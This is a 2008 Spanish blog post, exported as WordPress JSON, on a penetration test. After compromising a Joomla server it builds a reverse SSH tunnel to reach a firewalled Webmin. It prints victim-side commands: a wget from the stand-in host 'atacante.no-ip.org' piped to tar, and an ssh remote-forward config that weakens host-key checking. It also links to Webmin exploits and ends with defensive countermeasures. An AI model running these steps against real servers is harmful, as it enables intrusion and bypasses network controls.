{"id":59,"date":"2008-06-06T03:00:49","date_gmt":"2008-06-06T07:00:49","guid":{"rendered":"http:\/\/hackarandas.com\/blog\/2008\/06\/06\/ssh-jutsu-i-acercamiento-de-puerto-2\/"},"modified":"2009-04-13T01:22:35","modified_gmt":"2009-04-13T05:22:35","slug":"ssh-jutsu-i-acercamiento-de-puerto-2","status":"publish","type":"post","link":"https:\/\/hackarandas.com\/blog\/2008\/06\/06\/ssh-jutsu-i-acercamiento-de-puerto-2\/","title":{"rendered":"SSH Jutsu I – Acercamiento de Puerto"},"content":{"rendered":"

\"\" Apenas unos dias vi batallando a un compa\u00c3\u00b1ero que realizaba un Pentest y hab\u00c3\u00ada conseguido comprometer un servidor web. Resulta que alguien tuvo a bien instalar un sistema Joomla! y lo dej\u00c3\u00b3 abandonado, as\u00c3\u00ad que no fu\u00c3\u00a9 dif\u00c3\u00adcil utilizar un viejo m\u00c3\u00b3dulo para subir el PHP Shell<\/a> y empezar a echar comandos de consola siendo el usuario que ejecuta a apache (nobody en este caso).<\/p>\n

Despu\u00c3\u00a9s de varias horas de verlo hacerse de la mala ceja se me ocurrieron varios puntos donde se pod\u00c3\u00adan hacer ataques:<\/p>\n

Escenario<\/p>\n

<\/span><\/p>\n

    \n
  1. Servidor Web con Linux Fedora Core 3, obviamente con instalaci\u00c3\u00b3n por defecto<\/li>\n
  2. Servidor “protegido” por un FW Checkpoint.<\/li>\n
      \n
    1. Que nos bloquea la IP cada vez que hacemos un escaneo de puertos.<\/li>\n
    2. No tiene ACLs de salida del servidor, are you thinking what I am thinking?
      \n<\/span><\/li>\n<\/ol>\n
    3. Se ha logrado comprometer el servidor<\/li>\n
        \n
      1. Se tiene una shell creada por el php shell y que a su vez se ha conseguido otra con el Netcat<\/a> conect\u00c3\u00a1ndonos a nuestra m\u00c3\u00a1quina desde la m\u00c3\u00a1quina v\u00c3\u00adcitma. Total el FW no tiene ACLs que bloqueen la salida de tr\u00c3\u00a1fico del servidor.\n<\/li>\n
      2. Tiene un IP Privada del otro lado, as\u00c3\u00ad que podemos suponer que est\u00c3\u00a1n haciendo el port Forwarding al puerto 443.<\/li>\n
      3. Tiene el Webmin<\/a> habilitado >:) pero bloqueado por el FW :'(\n<\/li>\n<\/ol>\n<\/ol>\n

        Planteamiento<\/p>\n

        <\/span>\u00c2\u00bfQu\u00c3\u00a9 sigue? Obviamente escalar privilegios, encontrar mas servidores dentro de la DMZ<\/a> y\/o conseguir contrase\u00c3\u00b1as. Ya se sacaron los usuarios con el comando cat \/etc\/passwd<\/span> pero los hashes<\/a> de las contrase\u00c3\u00b1as  no ya que no disponemos de privilegios de root <\/span>y hacer el viejo truco con Hydra<\/a> de probar el mismo usuario y contrase\u00c3\u00b1as contra un servicio es in\u00c3\u00batil por el FW. <\/p>\n

        <\/span>\u00c2\u00bfC\u00c3\u00b3mo podemos sopesar este problema? Como sabemos, el Webmin es una herramienta poderos\u00c3\u00adsima para la admnistraci\u00c3\u00b3n del servidor pero cuenta con un sin f\u00c3\u00adn de vulnerabilidades que, aunque son parchadas con cierta rapidez, si la instalaci\u00c3\u00b3n es por default o est\u00c3\u00a1 sin administrar (abandonada) se puede comprometer la integridad del servidor con cierta facilidad.<\/p>\n

        Jutsu <\/p>\n

        <\/span>  Creo que habemos pocos que conocemos los oscuros secretos y milenarias t\u00c3\u00a9cnicas del SSH<\/a> y los ocupamos con cierta regularidad. Aqui explico mi prueba de concepto para alcanzar el puerto de Webmin y poder comprometerlo:<\/p>\n

        Necesitamos tener una cuenta en una m\u00c3\u00a1quina y pueda acceder al servicio de SSH. Para esto podemos usar el Backtrack creamos una cuenta sin mayores privilegios. Dentro de esta cuenta creamos una llave p\u00c3\u00bablica<\/a> de ssh para poder automatizar la autenticaci\u00c3\u00b3n y no perder la shell dentro del servidor:
        \n
        \n# Creamos el directorio donde guardaremos la configuracion
        \nmkdir ~\/.ssh
        \n# Creamos la llave sin contrase\u00c3\u00b1a para que sea mas c\u00c3\u00b3moda de usar
        \nssh-keygen -t dsa
        \n# Nos crea dos archivos que son la llave p\u00c3\u00bablica y la privada
        \nid_dsa id_dsa.pub
        \n# Renombramos la p\u00c3\u00bablica para poder usarla como autenticaci\u00c3\u00b3n
        \nmv id_dsa.pub authorized_keys
        \n<\/code>
        \nAhora creamos el siguiente archivo config:
        \n
        \n Host atacante
        \n\t\t# La IP o nombre de dominio que estamos usando
        \n\t\tHostname atacante.no-ip.org
        \n\t\tRemoteForward\t10000 127.0.0.1:10000
        \n\t\t# Puerto que tengamos abierto y con el servicio de SSH corriendo
        \n\t\tPort\t\t\t1025
        \n\t\t# El usuario que hallamos creado
        \n\t\tUser tunel
        \n\t\tBatchMode yes
        \n\t\tCompression yes
        \n\t\t# La llave privada que no debe contener contrase\u00c3\u00b1a y nos dar\u00c3\u00a1 acceso al usuario tunel
        \n\t\tIdentityFile\t\/tmp\/.ssh\/id_dsa
        \n\t\tCompressionLevel \t\t9
        \n\t\t# Con esto nos saltamos el que nos pregunte que si a\u00c3\u00b1ade la llave rsa al archivo.
        \n\t\tStrictHostKeyChecking\tno
        \n\t\tPubkeyAuthentication\tyes
        \n\t\tUserKnownHostsFile\t\t\/tmp\/.ssh\/known_hosts
        \n<\/code>
        \nAhora subimos el archivo al servidor como tarball. Lo podemos hacer con la herramienta         woof<\/a>.
        \n
        \n# En el lado del atacante
        \nwoof -p [PuertoAlcanzable] -i [IP] ~\/.ssh<\/p>\n

        # En el lado de la victima
        \ncd \/tmp
        \nwget [URL Cambiando la IP por la IP p\u00c3\u00bablica] -O - | tar zxvf -
        \ncd .ssh
        \nchmod 0600 *
        \nssh-agent bash
        \nssh-add
        \nssh -fNF config atacante
        \n<\/code>
        \nRecuerda que si estas detr\u00c3\u00a1s de un dispositivo que haga         NAT<\/a> debes hacer reenv\u00c3\u00ado de puerto de forma que podamos alcanzar la m\u00c3\u00a1quina del atacante desde la m\u00c3\u00a1quina v\u00c3\u00adctima y que el URL que le ingresaremos en el wget<\/a> no es la IP privada sino la IP p\u00c3\u00bablica que tiene nuestro router. Los que tenemos cableacces<\/a> estamos jodidos pero siempre podemos usar un servidor prestado que tenga una IP P\u00c3\u00bablica XD.<\/p>\n

        Y si todo sale bien nos devolver\u00c3\u00a1 la l\u00c3\u00adnea de comando y veremos un proceso parecido al este:
        \n
        \nps ax | grep -i ssh
        \n28659 ? Ss 0:30 ssh -fNF config atacante
        \n<\/code>
        \nBien, ahora desde la m\u00c3\u00a1quina del atacante deberemos ver unos puertos parecidos a esto:
        \n
        \nsudo netstat -ptuna | grep -i listen
        \ntcp 0 0 127.0.0.1:10000 0.0.0.0:* LISTEN -
        \n<\/code>
        \nPerfecto! Si hasta ahora todo ha salido bien podremos entrar a la consola de administraci\u00c3\u00b3n del Webmin desde el navegador usando la siguiente URL: https:\/\/localhost:10000. <\/p>\n

        <\/span>Nos vamos a la siguiente p\u00c3\u00a1gina y descargamos el exploit<\/a>:<\/p>\n

        http:\/\/securitydot.net\/xpl\/exploits\/vulnerabilities\/articles\/1164\/exploit.html en Perl<\/a>
        \nhttp:\/\/www.milw0rm.com\/exploits\/1997 en         PHP<\/a><\/p>\n

        Contramedidas<\/p>\n

        <\/span><\/p>\n

          \n
        1. No instalas ningun aplicativo que no piensas dar mantenimiento en un servidor de producci\u00c3\u00b3n.\n<\/li>\n
        2. Aparte del firewall corporativo es saludable instalar un firewall de host que proteja la m\u00c3\u00a1quina as\u00c3\u00ad la administraci\u00c3\u00b3n del FW queda en tus manos y no dependes de un tercero que no sabes que pol\u00c3\u00adticas maneja. APF<\/a> es mi recomendaci\u00c3\u00b3n.\n<\/li>\n
        3. En los ACLs del firewall es buena idea bloquear cual tr\u00c3\u00a1fico que salga del servidor que no sea de tipo ESTABLISHED o que vaya \u00c3\u00banica y exclusivamente a los servidores de actualizaciones, por este motivo es bueno tener un sistema de actualizaci\u00c3\u00b3n local como el WSUS<\/a> para Haselfroch<\/a>.<\/li>\n
        4. Siempre, y repito, siempre has un hardeneo de tus servidores de producci\u00c3\u00b3n, quita servicios que no uses y aquellos que necesitas pero son inseguros (Webmin, VNC) puedes hacer que escuchen localmente y accederlos por t\u00c3\u00baneles de SSH<\/a>.<\/li>\n
        5. Mant\u00c3\u00a9n un procedimiento para verificar la integridad de tus servidores como Tripwire<\/a>.<\/li>\n
        6. Mant\u00c3\u00a9n una pol\u00c3\u00adtica de contrase\u00c3\u00b1as complejas en tus usuarios, as\u00c3\u00ad, a\u00c3\u00banque consigan los hashes de la contrase\u00c3\u00b1as el romperlas puede llegar a ser virtualmente imposible.<\/li>\n
        7. Mant\u00c3\u00a9n actualizado tu sistema y las aplicaciones que tenga dentro, realiza auditorias constantes sobre tus aplicaciones Web para ver posibles agujeros de seguridad que puedan comprometer tu servidor. Para esto existen aplicaciones como GFI Languard<\/a> y Nessus<\/a>.\n<\/li>\n<\/ol>\n

          A\u00c3\u00ban siguiendo estos pasos no puedes ganrantizar que estar\u00c3\u00a1 seguro tu servidor, siempre habr\u00c3\u00a1 una nueva vulnerabilidad o alguien que consiga brincarse la barda que has puesto. Hacer seguridad y cumplir al menos con las buenas pr\u00c3\u00a1cticas de administraci\u00c3\u00b3n de servidores permiten mitigar los ataques que puedas recibir y que puedan afectar al negocio.<\/p>\n

          Adri\u00c3\u00a1n Puente Z.<\/address>\n
          <\/address>\n
          Blogged with the Flock Browser<\/a><\/div>\n

          <\/p>\n

          Tags: Seguridad<\/a>, firewall<\/a>, webmin<\/a>, Secure Shell<\/a>, SSH<\/a>, Apache<\/a><\/p>\n

          <\/p>\n\n

          <\/div>","protected":false},"excerpt":{"rendered":"

          Apenas unos dias vi batallando a un compa\u00c3\u00b1ero que realizaba un Pentest y hab\u00c3\u00ada conseguido comprometer un servidor web. Resulta que alguien tuvo a bien instalar un sistema Joomla! y lo dej\u00c3\u00b3 abandonado, as\u00c3\u00ad que no fu\u00c3\u00a9 dif\u00c3\u00adcil utilizar un … Continue reading →<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6,4],"tags":[],"class_list":["post-59","post","type-post","status-publish","format-standard","hentry","category-articles","category-security"],"_links":{"self":[{"href":"https:\/\/hackarandas.com\/blog\/wp-json\/wp\/v2\/posts\/59","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/hackarandas.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hackarandas.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hackarandas.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/hackarandas.com\/blog\/wp-json\/wp\/v2\/comments?post=59"}],"version-history":[{"count":0,"href":"https:\/\/hackarandas.com\/blog\/wp-json\/wp\/v2\/posts\/59\/revisions"}],"wp:attachment":[{"href":"https:\/\/hackarandas.com\/blog\/wp-json\/wp\/v2\/media?parent=59"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hackarandas.com\/blog\/wp-json\/wp\/v2\/categories?post=59"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hackarandas.com\/blog\/wp-json\/wp\/v2\/tags?post=59"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}